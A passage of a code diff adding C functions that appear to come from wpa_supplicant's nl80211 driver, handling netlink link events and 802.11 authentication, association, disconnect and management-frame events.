struct nl80211_wiphy_data *w = bss->wiphy_data; + struct i802_bss *tmp_bss; + int found = 0; + + if (w == NULL) + return; + bss->wiphy_data = NULL; + dl_list_del(&bss->wiphy_list); + + /* still any for this drv present? */ + dl_list_for_each(tmp_bss, &w->bsss, struct i802_bss, wiphy_list) { + if (tmp_bss->drv == bss->drv) { + found = 1; + break; + } + } + /* if not remove it */ + if (!found) + dl_list_del(&bss->drv->wiphy_list); + + if (!dl_list_empty(&w->bsss)) + return; + + nl80211_destroy_eloop_handle(&w->nl_beacons); + + nl_cb_put(w->nl_cb); + dl_list_del(&w->list); + os_free(w); +} + + +static int wpa_driver_nl80211_get_bssid(void *priv, u8 *bssid) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + if (!drv->associated) + return -1; + os_memcpy(bssid, drv->bssid, ETH_ALEN); + return 0; +} + + +static int wpa_driver_nl80211_get_ssid(void *priv, u8 *ssid) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + if (!drv->associated) + return -1; + os_memcpy(ssid, drv->ssid, drv->ssid_len); + return drv->ssid_len; +} + + +static void wpa_driver_nl80211_event_link(struct wpa_driver_nl80211_data *drv, + char *buf, size_t len, int del) +{ + union wpa_event_data event; + + os_memset(&event, 0, sizeof(event)); + if (len > sizeof(event.interface_status.ifname)) + len = sizeof(event.interface_status.ifname) - 1; + os_memcpy(event.interface_status.ifname, buf, len); + event.interface_status.ievent = del ? EVENT_INTERFACE_REMOVED : + EVENT_INTERFACE_ADDED; + + wpa_printf(MSG_DEBUG, "RTM_%sLINK, IFLA_IFNAME: Interface '%s' %s", + del ? "DEL" : "NEW", + event.interface_status.ifname, + del ? "removed" : "added"); + + if (os_strcmp(drv->first_bss->ifname, event.interface_status.ifname) == + 0) { + if (del) { + if (drv->if_removed) { + wpa_printf(MSG_DEBUG, "nl80211: if_removed " + "already set - ignore event"); + return; + } + drv->if_removed = 1; + } else { + if (if_nametoindex(drv->first_bss->ifname) == 0) { + wpa_printf(MSG_DEBUG, "nl80211: Interface %s " + "does not exist - ignore " + "RTM_NEWLINK", + drv->first_bss->ifname); + return; + } + if (!drv->if_removed) { + wpa_printf(MSG_DEBUG, "nl80211: if_removed " + "already cleared - ignore event"); + return; + } + drv->if_removed = 0; + } + } + + wpa_supplicant_event(drv->ctx, EVENT_INTERFACE_STATUS, &event); +} + + +static int wpa_driver_nl80211_own_ifname(struct wpa_driver_nl80211_data *drv, + u8 *buf, size_t len) +{ + int attrlen, rta_len; + struct rtattr *attr; + + attrlen = len; + attr = (struct rtattr *) buf; + + rta_len = RTA_ALIGN(sizeof(struct rtattr)); + while (RTA_OK(attr, attrlen)) { + if (attr->rta_type == IFLA_IFNAME) { + if (os_strcmp(((char *) attr) + rta_len, + drv->first_bss->ifname) == 0) + return 1; + else + break; + } + attr = RTA_NEXT(attr, attrlen); + } + + return 0; +} + + +static int wpa_driver_nl80211_own_ifindex(struct wpa_driver_nl80211_data *drv, + int ifindex, u8 *buf, size_t len) +{ + if (drv->ifindex == ifindex) + return 1; + + if (drv->if_removed && wpa_driver_nl80211_own_ifname(drv, buf, len)) { + wpa_printf(MSG_DEBUG, "nl80211: Update ifindex for a removed " + "interface"); + wpa_driver_nl80211_finish_drv_init(drv, NULL, 0); + return 1; + } + + return 0; +} + + +static struct wpa_driver_nl80211_data * +nl80211_find_drv(struct nl80211_global *global, int idx, u8 *buf, size_t len) +{ + struct wpa_driver_nl80211_data *drv; + dl_list_for_each(drv, &global->interfaces, + struct wpa_driver_nl80211_data, list) { + if (wpa_driver_nl80211_own_ifindex(drv, idx, buf, len) || + have_ifidx(drv, idx)) + return drv; + } + return NULL; +} + + +static void wpa_driver_nl80211_event_rtm_newlink(void *ctx, + struct ifinfomsg *ifi, + u8 *buf, size_t len) +{ + struct nl80211_global *global = ctx; + struct wpa_driver_nl80211_data *drv; + int attrlen, rta_len; + struct rtattr *attr; + u32 brid = 0; + char namebuf[IFNAMSIZ]; + + drv = nl80211_find_drv(global, ifi->ifi_index, buf, len); + if (!drv) { + wpa_printf(MSG_DEBUG, "nl80211: Ignore event for foreign " + "ifindex %d", ifi->ifi_index); + return; + } + + wpa_printf(MSG_DEBUG, "RTM_NEWLINK: operstate=%d ifi_flags=0x%x " + "(%s%s%s%s)", + drv->operstate, ifi->ifi_flags, + (ifi->ifi_flags & IFF_UP) ? "[UP]" : "", + (ifi->ifi_flags & IFF_RUNNING) ? "[RUNNING]" : "", + (ifi->ifi_flags & IFF_LOWER_UP) ? "[LOWER_UP]" : "", + (ifi->ifi_flags & IFF_DORMANT) ? "[DORMANT]" : ""); + + if (!drv->if_disabled && !(ifi->ifi_flags & IFF_UP)) { + if (if_indextoname(ifi->ifi_index, namebuf) && + linux_iface_up(drv->global->ioctl_sock, + drv->first_bss->ifname) > 0) { + wpa_printf(MSG_DEBUG, "nl80211: Ignore interface down " + "event since interface %s is up", namebuf); + return; + } + wpa_printf(MSG_DEBUG, "nl80211: Interface down"); + if (drv->ignore_if_down_event) { + wpa_printf(MSG_DEBUG, "nl80211: Ignore interface down " + "event generated by mode change"); + drv->ignore_if_down_event = 0; + } else { + drv->if_disabled = 1; + wpa_supplicant_event(drv->ctx, + EVENT_INTERFACE_DISABLED, NULL); + } + } + + if (drv->if_disabled && (ifi->ifi_flags & IFF_UP)) { + if (if_indextoname(ifi->ifi_index, namebuf) && + linux_iface_up(drv->global->ioctl_sock, + drv->first_bss->ifname) == 0) { + wpa_printf(MSG_DEBUG, "nl80211: Ignore interface up " + "event since interface %s is down", + namebuf); + } else if (if_nametoindex(drv->first_bss->ifname) == 0) { + wpa_printf(MSG_DEBUG, "nl80211: Ignore interface up " + "event since interface %s does not exist", + drv->first_bss->ifname); + } else if (drv->if_removed) { + wpa_printf(MSG_DEBUG, "nl80211: Ignore interface up " + "event since interface %s is marked " + "removed", drv->first_bss->ifname); + } else { + wpa_printf(MSG_DEBUG, "nl80211: Interface up"); + drv->if_disabled = 0; + wpa_supplicant_event(drv->ctx, EVENT_INTERFACE_ENABLED, + NULL); + } + } + + /* + * Some drivers send the association event before the operup event--in + * this case, lifting operstate in wpa_driver_nl80211_set_operstate() + * fails. This will hit us when wpa_supplicant does not need to do + * IEEE 802.1X authentication + */ + if (drv->operstate == 1 && + (ifi->ifi_flags & (IFF_LOWER_UP | IFF_DORMANT)) == IFF_LOWER_UP && + !(ifi->ifi_flags & IFF_RUNNING)) + netlink_send_oper_ifla(drv->global->netlink, drv->ifindex, + -1, IF_OPER_UP); + + attrlen = len; + attr = (struct rtattr *) buf; + rta_len = RTA_ALIGN(sizeof(struct rtattr)); + while (RTA_OK(attr, attrlen)) { + if (attr->rta_type == IFLA_IFNAME) { + wpa_driver_nl80211_event_link( + drv, + ((char *) attr) + rta_len, + attr->rta_len - rta_len, 0); + } else if (attr->rta_type == IFLA_MASTER) + brid = nla_get_u32((struct nlattr *) attr); + attr = RTA_NEXT(attr, attrlen); + } + + if (ifi->ifi_family == AF_BRIDGE && brid) { + /* device has been added to bridge */ + if_indextoname(brid, namebuf); + wpa_printf(MSG_DEBUG, "nl80211: Add ifindex %u for bridge %s", + brid, namebuf); + add_ifidx(drv, brid); + } +} + + +static void wpa_driver_nl80211_event_rtm_dellink(void *ctx, + struct ifinfomsg *ifi, + u8 *buf, size_t len) +{ + struct nl80211_global *global = ctx; + struct wpa_driver_nl80211_data *drv; + int attrlen, rta_len; + struct rtattr *attr; + u32 brid = 0; + + drv = nl80211_find_drv(global, ifi->ifi_index, buf, len); + if (!drv) { + wpa_printf(MSG_DEBUG, "nl80211: Ignore dellink event for " + "foreign ifindex %d", ifi->ifi_index); + return; + } + + attrlen = len; + attr = (struct rtattr *) buf; + + rta_len = RTA_ALIGN(sizeof(struct rtattr)); + while (RTA_OK(attr, attrlen)) { + if (attr->rta_type == IFLA_IFNAME) { + wpa_driver_nl80211_event_link( + drv, + ((char *) attr) + rta_len, + attr->rta_len - rta_len, 1); + } else if (attr->rta_type == IFLA_MASTER) + brid = nla_get_u32((struct nlattr *) attr); + attr = RTA_NEXT(attr, attrlen); + } + + if (ifi->ifi_family == AF_BRIDGE && brid) { + /* device has been removed from bridge */ + char namebuf[IFNAMSIZ]; + if_indextoname(brid, namebuf); + wpa_printf(MSG_DEBUG, "nl80211: Remove ifindex %u for bridge " + "%s", brid, namebuf); + del_ifidx(drv, brid); + } +} + + +static void mlme_event_auth(struct wpa_driver_nl80211_data *drv, + const u8 *frame, size_t len) +{ + const struct ieee80211_mgmt *mgmt; + union wpa_event_data event; + + wpa_printf(MSG_DEBUG, "nl80211: Authenticate event"); + mgmt = (const struct ieee80211_mgmt *) frame; + if (len < 24 + sizeof(mgmt->u.auth)) { + wpa_printf(MSG_DEBUG, "nl80211: Too short association event " + "frame"); + return; + } + + os_memcpy(drv->auth_bssid, mgmt->sa, ETH_ALEN); + os_memset(drv->auth_attempt_bssid, 0, ETH_ALEN); + os_memset(&event, 0, sizeof(event)); + os_memcpy(event.auth.peer, mgmt->sa, ETH_ALEN); + event.auth.auth_type = le_to_host16(mgmt->u.auth.auth_alg); + event.auth.auth_transaction = + le_to_host16(mgmt->u.auth.auth_transaction); + event.auth.status_code = le_to_host16(mgmt->u.auth.status_code); + if (len > 24 + sizeof(mgmt->u.auth)) { + event.auth.ies = mgmt->u.auth.variable; + event.auth.ies_len = len - 24 - sizeof(mgmt->u.auth); + } + + wpa_supplicant_event(drv->ctx, EVENT_AUTH, &event); +} + + +static unsigned int nl80211_get_assoc_freq(struct wpa_driver_nl80211_data *drv) +{ + struct nl_msg *msg; + int ret; + struct nl80211_bss_info_arg arg; + + os_memset(&arg, 0, sizeof(arg)); + msg = nlmsg_alloc(); + if (!msg) + goto nla_put_failure; + + nl80211_cmd(drv, msg, NLM_F_DUMP, NL80211_CMD_GET_SCAN); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + + arg.drv = drv; + ret = send_and_recv_msgs(drv, msg, bss_info_handler, &arg); + msg = NULL; + if (ret == 0) { + wpa_printf(MSG_DEBUG, "nl80211: Operating frequency for the " + "associated BSS from scan results: %u MHz", + arg.assoc_freq); + if (arg.assoc_freq) + drv->assoc_freq = arg.assoc_freq; + return drv->assoc_freq; + } + wpa_printf(MSG_DEBUG, "nl80211: Scan result fetch failed: ret=%d " + "(%s)", ret, strerror(-ret)); +nla_put_failure: + nlmsg_free(msg); + return drv->assoc_freq; +} + + +static void mlme_event_assoc(struct wpa_driver_nl80211_data *drv, + const u8 *frame, size_t len) +{ + const struct ieee80211_mgmt *mgmt; + union wpa_event_data event; + u16 status; + + wpa_printf(MSG_DEBUG, "nl80211: Associate event"); + mgmt = (const struct ieee80211_mgmt *) frame; + if (len < 24 + sizeof(mgmt->u.assoc_resp)) { + wpa_printf(MSG_DEBUG, "nl80211: Too short association event " + "frame"); + return; + } + + status = le_to_host16(mgmt->u.assoc_resp.status_code); + if (status != WLAN_STATUS_SUCCESS) { + os_memset(&event, 0, sizeof(event)); + event.assoc_reject.bssid = mgmt->bssid; + if (len > 24 + sizeof(mgmt->u.assoc_resp)) { + event.assoc_reject.resp_ies = + (u8 *) mgmt->u.assoc_resp.variable; + event.assoc_reject.resp_ies_len = + len - 24 - sizeof(mgmt->u.assoc_resp); + } + event.assoc_reject.status_code = status; + + wpa_supplicant_event(drv->ctx, EVENT_ASSOC_REJECT, &event); + return; + } + + drv->associated = 1; + os_memcpy(drv->bssid, mgmt->sa, ETH_ALEN); + os_memcpy(drv->prev_bssid, mgmt->sa, ETH_ALEN); + + os_memset(&event, 0, sizeof(event)); + if (len > 24 + sizeof(mgmt->u.assoc_resp)) { + event.assoc_info.resp_ies = (u8 *) mgmt->u.assoc_resp.variable; + event.assoc_info.resp_ies_len = + len - 24 - sizeof(mgmt->u.assoc_resp); + } + + event.assoc_info.freq = drv->assoc_freq; + + wpa_supplicant_event(drv->ctx, EVENT_ASSOC, &event); +} + + +static void mlme_event_connect(struct wpa_driver_nl80211_data *drv, + enum nl80211_commands cmd, struct nlattr *status, + struct nlattr *addr, struct nlattr *req_ie, + struct nlattr *resp_ie) +{ + union wpa_event_data event; + + if (drv->capa.flags & WPA_DRIVER_FLAGS_SME) { + /* + * Avoid reporting two association events that would confuse + * the core code. + */ + wpa_printf(MSG_DEBUG, "nl80211: Ignore connect event (cmd=%d) " + "when using userspace SME", cmd); + return; + } + + if (cmd == NL80211_CMD_CONNECT) + wpa_printf(MSG_DEBUG, "nl80211: Connect event"); + else if (cmd == NL80211_CMD_ROAM) + wpa_printf(MSG_DEBUG, "nl80211: Roam event"); + + os_memset(&event, 0, sizeof(event)); + if (cmd == NL80211_CMD_CONNECT && + nla_get_u16(status) != WLAN_STATUS_SUCCESS) { + if (addr) + event.assoc_reject.bssid = nla_data(addr); + if (resp_ie) { + event.assoc_reject.resp_ies = nla_data(resp_ie); + event.assoc_reject.resp_ies_len = nla_len(resp_ie); + } + event.assoc_reject.status_code = nla_get_u16(status); + wpa_supplicant_event(drv->ctx, EVENT_ASSOC_REJECT, &event); + return; + } + + drv->associated = 1; + if (addr) { + os_memcpy(drv->bssid, nla_data(addr), ETH_ALEN); + os_memcpy(drv->prev_bssid, drv->bssid, ETH_ALEN); + } + + if (req_ie) { + event.assoc_info.req_ies = nla_data(req_ie); + event.assoc_info.req_ies_len = nla_len(req_ie); + } + if (resp_ie) { + event.assoc_info.resp_ies = nla_data(resp_ie); + event.assoc_info.resp_ies_len = nla_len(resp_ie); + } + + event.assoc_info.freq = nl80211_get_assoc_freq(drv); + + wpa_supplicant_event(drv->ctx, EVENT_ASSOC, &event); +} + + +static void mlme_event_disconnect(struct wpa_driver_nl80211_data *drv, + struct nlattr *reason, struct nlattr *addr, + struct nlattr *by_ap) +{ + union wpa_event_data data; + unsigned int locally_generated = by_ap == NULL; + + if (drv->capa.flags & WPA_DRIVER_FLAGS_SME) { + /* + * Avoid reporting two disassociation events that could + * confuse the core code. + */ + wpa_printf(MSG_DEBUG, "nl80211: Ignore disconnect " + "event when using userspace SME"); + return; + } + + if (drv->ignore_next_local_disconnect) { + drv->ignore_next_local_disconnect = 0; + if (locally_generated) { + wpa_printf(MSG_DEBUG, "nl80211: Ignore disconnect " + "event triggered during reassociation"); + return; + } + wpa_printf(MSG_WARNING, "nl80211: Was expecting local " + "disconnect but got another disconnect " + "event first"); + } + + wpa_printf(MSG_DEBUG, "nl80211: Disconnect event"); + nl80211_mark_disconnected(drv); + os_memset(&data, 0, sizeof(data)); + if (reason) + data.deauth_info.reason_code = nla_get_u16(reason); + data.deauth_info.locally_generated = by_ap == NULL; + wpa_supplicant_event(drv->ctx, EVENT_DEAUTH, &data); +} + + +static void mlme_event_ch_switch(struct wpa_driver_nl80211_data *drv, + struct nlattr *freq, struct nlattr *type) +{ + union wpa_event_data data; + int ht_enabled = 1; + int chan_offset = 0; + + wpa_printf(MSG_DEBUG, "nl80211: Channel switch event"); + + if (!freq || !type) + return; + + switch (nla_get_u32(type)) { + case NL80211_CHAN_NO_HT: + ht_enabled = 0; + break; + case NL80211_CHAN_HT20: + break; + case NL80211_CHAN_HT40PLUS: + chan_offset = 1; + break; + case NL80211_CHAN_HT40MINUS: + chan_offset = -1; + break; + } + + data.ch_switch.freq = nla_get_u32(freq); + data.ch_switch.ht_enabled = ht_enabled; + data.ch_switch.ch_offset = chan_offset; + + drv->first_bss->freq = data.ch_switch.freq; + + wpa_supplicant_event(drv->ctx, EVENT_CH_SWITCH, &data); +} + + +static void mlme_timeout_event(struct wpa_driver_nl80211_data *drv, + enum nl80211_commands cmd, struct nlattr *addr) +{ + union wpa_event_data event; + enum wpa_event_type ev; + + if (nla_len(addr) != ETH_ALEN) + return; + + wpa_printf(MSG_DEBUG, "nl80211: MLME event %d; timeout with " MACSTR, + cmd, MAC2STR((u8 *) nla_data(addr))); + + if (cmd == NL80211_CMD_AUTHENTICATE) + ev = EVENT_AUTH_TIMED_OUT; + else if (cmd == NL80211_CMD_ASSOCIATE) + ev = EVENT_ASSOC_TIMED_OUT; + else + return; + + os_memset(&event, 0, sizeof(event)); + os_memcpy(event.timeout_event.addr, nla_data(addr), ETH_ALEN); + wpa_supplicant_event(drv->ctx, ev, &event); +} + + +static void mlme_event_mgmt(struct wpa_driver_nl80211_data *drv, + struct nlattr *freq, struct nlattr *sig, + const u8 *frame, size_t len) +{ + const struct ieee80211_mgmt *mgmt; + union wpa_event_data event; + u16 fc, stype; + int ssi_signal = 0; + int rx_freq = 0; + + wpa_printf(MSG_MSGDUMP, "nl80211: Frame event"); + mgmt = (const struct ieee80211_mgmt *) frame; + if (len < 24) { + wpa_printf(MSG_DEBUG, "nl80211: Too short action frame"); + return; + } + + fc = le_to_host16(mgmt->frame_control); + stype = WLAN_FC_GET_STYPE(fc); + + if (sig) + ssi_signal = (s32) nla_get_u32(sig); + + os_memset(&event, 0, sizeof(event)); + if (freq) { + event.rx_action.freq = nla_get_u32(freq); + rx_freq = drv->last_mgmt_freq = event.rx_action.freq; + } + wpa_printf(MSG_DEBUG, + "nl80211: RX frame freq=%d ssi_signal=%d stype=%u len=%u", + rx_freq, ssi_signal, stype, (unsigned int) len); + if (stype == WLAN_FC_STYPE_ACTION) { + event.rx_action.da = mgmt->da; + event.rx_action.sa = mgmt->sa; + event.rx_action.bssid = mgmt->bssid; + event.rx_action.category = mgmt->u.action.category; + event.rx_action.data = &mgmt->u.action.category + 1; + event.rx_action.len = frame + len - event.rx_action.data; + wpa_supplicant_event(drv->ctx, EVENT_RX_ACTION, &event); + } else { + event.rx_mgmt.frame = frame; + event.rx_mgmt.frame_len = len; + event.rx_mgmt.ssi_signal = ssi_signal; + wpa_supplicant_event(drv->ctx, EVENT_RX_MGMT, &event); + } +} + + +static void mlme_event_mgmt_tx_status(struct wpa_driver_nl80211_data *drv, + struct nlattr *cookie, const u8 *frame, + size_t len, struct nlattr *ack) +{ + union wpa_event_data event; + const struct ieee80211_hdr *hdr; + u16 fc; + + wpa_printf(MSG_DEBUG, "nl80211: Frame TX status event"); + if (!is_ap_interface(drv->nlmode)) { + u64 cookie_val; + + if (!cookie) + return; + + cookie_val = nla_get_u64(cookie); + wpa_printf(MSG_DEBUG, "nl80211: Action TX status:" + " cookie=0%llx%s (ack=%d)", + (long long unsigned int) cookie_val, + cookie_val == drv->send_action_cookie ? + " (match)" : " (unknown)", ack != NULL); + if (cookie_val != drv->send_action_cookie) + return; + } + + hdr = (const struct ieee80211_hdr *) frame; + fc = le_to_host16(hdr->frame_control); + + os_memset(&event, 0, sizeof(event)); + event.tx_status.type = WLAN_FC_GET_TYPE(fc); + event.tx_status.stype = WLAN_FC_GET_STYPE(fc); + event.tx_status.dst = hdr->addr1; + event.tx_status.data = frame; + event.tx_status.data_len = len; + event.tx_status.ack = ack != NULL; + wpa_supplicant_event(drv->ctx, EVENT_TX_STATUS, &event); +} + + +static void mlme_event_deauth_disassoc(struct wpa_driver_nl80211_data *drv, + enum wpa_event_type type, + const u8 *frame, size_t len) +{ + const struct ieee80211_mgmt *mgmt; + union wpa_event_data event; + const u8 *bssid = NULL; + u16 reason_code = 0; + + if (type == EVENT_DEAUTH) + wpa_printf(MSG_DEBUG, "nl80211: Deauthenticate event"); + else + wpa_printf(MSG_DEBUG, "nl80211: Disassociate event"); + + mgmt = (const struct ieee80211_mgmt *) frame; + if (len >= 24) { + bssid = mgmt->bssid; + + if ((drv->capa.flags & WPA_DRIVER_FLAGS_SME) && + !drv->associated && + os_memcmp(bssid, drv->auth_bssid, ETH_ALEN) != 0 && + os_memcmp(bssid, drv->auth_attempt_bssid, ETH_ALEN) != 0 && + os_memcmp(bssid, drv->prev_bssid, ETH_ALEN) == 0) { + /* + * Avoid issues with some roaming cases where + * disconnection event for the old AP may show up after + * we have started connection with the new AP. + */ + wpa_printf(MSG_DEBUG, "nl80211: Ignore deauth/disassoc event from old AP " MACSTR " when already authenticating with " MACSTR, + MAC2STR(bssid), + MAC2STR(drv->auth_attempt_bssid)); + return; + } + + if (drv->associated != 0 && + os_memcmp(bssid, drv->bssid, ETH_ALEN) != 0 && + os_memcmp(bssid, drv->auth_bssid, ETH_ALEN) != 0) { + /* + * We have presumably received this deauth as a + * response to a clear_state_mismatch() outgoing + * deauth. Don't let it take us offline! + */ + wpa_printf(MSG_DEBUG, "nl80211: Deauth received " + "from Unknown BSSID " MACSTR " -- ignoring", + MAC2STR(bssid)); + return; + } + } + + nl80211_mark_disconnected(drv); + os_memset(&event, 0, sizeof(event)); + + /* Note: Same offset for Reason Code in both frame subtypes */ + if (len >= 24 + sizeof(mgmt->u.deauth)) + reason_code = le_to_host16(mgmt->u.deauth.reason_code); + + if (type == EVENT_DISASSOC) { + event.disassoc_info.locally_generated = + !os_memcmp(mgmt->sa, drv->first_bss->addr, ETH_ALEN); + event.disassoc_info.addr = bssid; + event.disassoc_info.reason_code = reason_code; + if (frame + len > mgmt->u.disassoc.variable) { + event.disassoc_info.ie = mgmt->u.disassoc.variable; + event.disassoc_info.ie_len = frame + len - + mgmt->u.disassoc.variable; + } + } else { + event.deauth_info.locally_generated = + !os_memcmp(mgmt->sa, drv->first_bss->addr, ETH_ALEN); + event.deauth_info.addr = bssid; + event.deauth_info.reason_code = reason_code; + if (frame + len > mgmt->u.deauth.variable) { + event.deauth_info.ie = mgmt->u.deauth.variable; + event.deauth_info.ie_len = frame + len - + mgmt->u.deauth.variable; + } + } + + wpa_supplicant_event(drv->ctx, type, &event); +} + + +static void mlme_event_unprot_disconnect(struct wpa_driver_nl80211_data *drv, + enum wpa_event_type type, + const u8 *frame, size_t len) +{ + const struct ieee80211_mgmt *mgmt; + union wpa_event_data event; + u16 reason_code = 0; + + if (type == EVENT_UNPROT_DEAUTH) + wpa_printf(MSG_DEBUG, "nl80211: Unprot Deauthenticate event"); + else + wpa_printf(MSG_DEBUG, "nl80211: Unprot Disassociate event"); + + if (len < 24) + return; + + mgmt = (const struct ieee80211_mgmt *) frame; + + os_memset(&event, 0, sizeof(event)); + /* Note: Same offset for Reason Code in both frame subtypes */ + if (len >= 24 + sizeof(mgmt->u.deauth)) + reason_code = le_to_host16(mgmt->u.deauth.reason_code); + + if (type == EVENT_UNPROT_DISASSOC) { + event.unprot_disassoc.sa = mgmt->sa; + event.unprot_disassoc.da = mgmt->da; + event.unprot_disassoc.reason_code = reason_code; + } else { + event.unprot_deauth.sa = mgmt->sa; + event.unprot_deauth.da = mgmt->da; + event.unprot_deauth.reason_code = reason_code; + } + + wpa_supplicant_event(drv->ctx, type, &event); +} + + +static void mlme_event(struct i802_bss *bss, + enum nl80211_commands cmd, struct nlattr *frame, + struct nlattr *addr, struct nlattr *timed_out, + struct nlattr *freq, struct nlattr *ack, + struct nlattr *cookie, struct nlattr *sig) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + const u8 *data; + size_t len; + + if (timed_out && addr) { + mlme_timeout_event(drv, cmd, addr); + return; + } + + if (frame == NULL) { + wpa_printf(MSG_DEBUG, + "nl80211: MLME event %d (%s) without frame data", + cmd, nl80211_command_to_string(cmd)); + return; + } + + data = nla_data(frame); + len = nla_len(frame); + if (len < 4 + 2 * ETH_ALEN) { + wpa_printf(MSG_MSGDUMP, "nl80211: MLME event %d (%s) on %s(" + MACSTR ") - too short", + cmd, nl80211_command_to_string(cmd), bss->ifname, + MAC2STR(bss->addr)); + return; + } + wpa_printf(MSG_MSGDUMP, "nl80211: MLME event %d (%s) on %s(" MACSTR + ") A1=" MACSTR " A2=" MACSTR, cmd, + nl80211_command_to_string(cmd), bss->ifname, + MAC2STR(bss->addr), MAC2STR(data + 4), + MAC2STR(data + 4 + ETH_ALEN)); + if (cmd != NL80211_CMD_FRAME_TX_STATUS && !(data[4] & 0x01) && + os_memcmp(bss->addr, data + 4, ETH_ALEN) != 0 && + os_memcmp(bss->addr, data + 4 + ETH_ALEN, ETH_ALEN) != 0) { + wpa_printf(MSG_MSGDUMP, "nl80211: %s: Ignore MLME frame event " + "for foreign address", bss->ifname); + return; + } + wpa_hexdump(MSG_MSGDUMP, "nl80211: MLME event frame", + nla_data(frame), nla_len(frame)); + + switch (cmd) { + case NL80211_CMD_AUTHENTICATE: + mlme_event_auth(drv, nla_data(frame), nla_len(frame)); + break; + case NL80211_CMD_ASSOCIATE: + mlme_event_assoc(drv, nla_data(frame), nla_len(frame)); + break; + case NL80211_CMD_DEAUTHENTICATE: + mlme_event_deauth_disassoc(drv, EVENT_DEAUTH, + nla_data(frame), nla_len(frame)); + break; + case NL80211_CMD_DISASSOCIATE: + mlme_event_deauth_disassoc(drv, EVENT_DISASSOC, + nla_data(frame), nla_len(frame)); + break; + case NL80211_CMD_FRAME: + mlme_event_mgmt(drv, freq, sig, nla_data(frame), + nla_len(frame)); + break; + case NL80211_CMD_FRAME_TX_STATUS: + mlme_event_mgmt_tx_status(drv, cookie, nla_data(frame), + nla_len(frame), ack); + break; + case NL80211_CMD_UNPROT_DEAUTHENTICATE: + mlme_event_unprot_disconnect(drv, EVENT_UNPROT_DEAUTH, + nla_data(frame), nla_len(frame)); + break; + case NL80211_CMD_UNPROT_DISASSOCIATE: + mlme_event_unprot_disconnect(drv, EVENT_UNPROT_DISASSOC, + nla_data(frame), nla_len(frame)); + break; + default: + break; + } +} + + +static void mlme_event_michael_mic_failure(struct i802_bss *bss, + struct nlattr *tb[]) +{ + union wpa_event_data data; + + wpa_printf(MSG_DEBUG, "nl80211: MLME event Michael MIC failure"); + os_memset(&data, 0, sizeof(data)); + if (tb[NL80211_ATTR_MAC]) { + wpa_hexdump(MSG_DEBUG, "nl80211: Source MAC address", + nla_data(tb[NL80211_ATTR_MAC]), + nla_len(tb[NL80211_ATTR_MAC])); + data.michael_mic_failure.src = nla_data(tb[NL80211_ATTR_MAC]); + } + if (tb[NL80211_ATTR_KEY_SEQ]) { + wpa_hexdump(MSG_DEBUG, "nl80211: TSC", + nla_data(tb[NL80211_ATTR_KEY_SEQ]), + nla_len(tb[NL80211_ATTR_KEY_SEQ])); + } + if (tb[NL80211_ATTR_KEY_TYPE]) { + enum nl80211_key_type key_type = + nla_get_u32(tb[NL80211_ATTR_KEY_TYPE]); + wpa_printf(MSG_DEBUG, "nl80211: Key Type %d", key_type); + if (key_type == NL80211_KEYTYPE_PAIRWISE) + data.michael_mic_failure.unicast = 1; + } else + data.michael_mic_failure.unicast = 1; + + if (tb[NL80211_ATTR_KEY_IDX]) { + u8 key_id = nla_get_u8(tb[NL80211_ATTR_KEY_IDX]); + wpa_printf(MSG_DEBUG, "nl80211: Key Id %d", key_id); + } + + wpa_supplicant_event(bss->ctx, EVENT_MICHAEL_MIC_FAILURE, &data); +} + + +static void mlme_event_join_ibss(struct wpa_driver_nl80211_data *drv, + struct nlattr *tb[]) +{ + if (tb[NL80211_ATTR_MAC] == NULL) { + wpa_printf(MSG_DEBUG, "nl80211: No address in IBSS joined " + "event"); + return; + } + os_memcpy(drv->bssid, nla_data(tb[NL80211_ATTR_MAC]), ETH_ALEN); + + drv->associated = 1; + wpa_printf(MSG_DEBUG, "nl80211: IBSS " MACSTR " joined", + MAC2STR(drv->bssid)); + + wpa_supplicant_event(drv->ctx, EVENT_ASSOC, NULL); +} + + +static void mlme_event_remain_on_channel(struct wpa_driver_nl80211_data *drv, + int cancel_event, struct nlattr *tb[]) +{ + unsigned int freq, chan_type, duration; + union wpa_event_data data; + u64 cookie; + + if (tb[NL80211_ATTR_WIPHY_FREQ]) + freq = nla_get_u32(tb[NL80211_ATTR_WIPHY_FREQ]); + else + freq = 0; + + if (tb[NL80211_ATTR_WIPHY_CHANNEL_TYPE]) + chan_type = nla_get_u32(tb[NL80211_ATTR_WIPHY_CHANNEL_TYPE]); + else + chan_type = 0; + + if (tb[NL80211_ATTR_DURATION]) + duration = nla_get_u32(tb[NL80211_ATTR_DURATION]); + else + duration = 0; + + if (tb[NL80211_ATTR_COOKIE]) + cookie = nla_get_u64(tb[NL80211_ATTR_COOKIE]); + else + cookie = 0; + + wpa_printf(MSG_DEBUG, "nl80211: Remain-on-channel event (cancel=%d " + "freq=%u channel_type=%u duration=%u cookie=0x%llx (%s))", + cancel_event, freq, chan_type, duration, + (long long unsigned int) cookie, + cookie == drv->remain_on_chan_cookie ? "match" : "unknown"); + + if (cookie != drv->remain_on_chan_cookie) + return; /* not for us */ + + if (cancel_event) + drv->pending_remain_on_chan = 0; + + os_memset(&data, 0, sizeof(data)); + data.remain_on_channel.freq = freq; + data.remain_on_channel.duration = duration; + wpa_supplicant_event(drv->ctx, cancel_event ? + EVENT_CANCEL_REMAIN_ON_CHANNEL : + EVENT_REMAIN_ON_CHANNEL, &data); +} + + +static void mlme_event_ft_event(struct wpa_driver_nl80211_data *drv, + struct nlattr *tb[]) +{ + union wpa_event_data data; + + os_memset(&data, 0, sizeof(data)); + + if (tb[NL80211_ATTR_IE]) { + data.ft_ies.ies = nla_data(tb[NL80211_ATTR_IE]); + data.ft_ies.ies_len = nla_len(tb[NL80211_ATTR_IE]); + } + + if (tb[NL80211_ATTR_IE_RIC]) { + data.ft_ies.ric_ies = nla_data(tb[NL80211_ATTR_IE_RIC]); + data.ft_ies.ric_ies_len = nla_len(tb[NL80211_ATTR_IE_RIC]); + } + + if (tb[NL80211_ATTR_MAC]) + os_memcpy(data.ft_ies.target_ap, + nla_data(tb[NL80211_ATTR_MAC]), ETH_ALEN); + + wpa_printf(MSG_DEBUG, "nl80211: FT event target_ap " MACSTR, + MAC2STR(data.ft_ies.target_ap)); + + wpa_supplicant_event(drv->ctx, EVENT_FT_RESPONSE, &data); +} + + +static void send_scan_event(struct wpa_driver_nl80211_data *drv, int aborted, + struct nlattr *tb[]) +{ + union wpa_event_data event; + struct nlattr *nl; 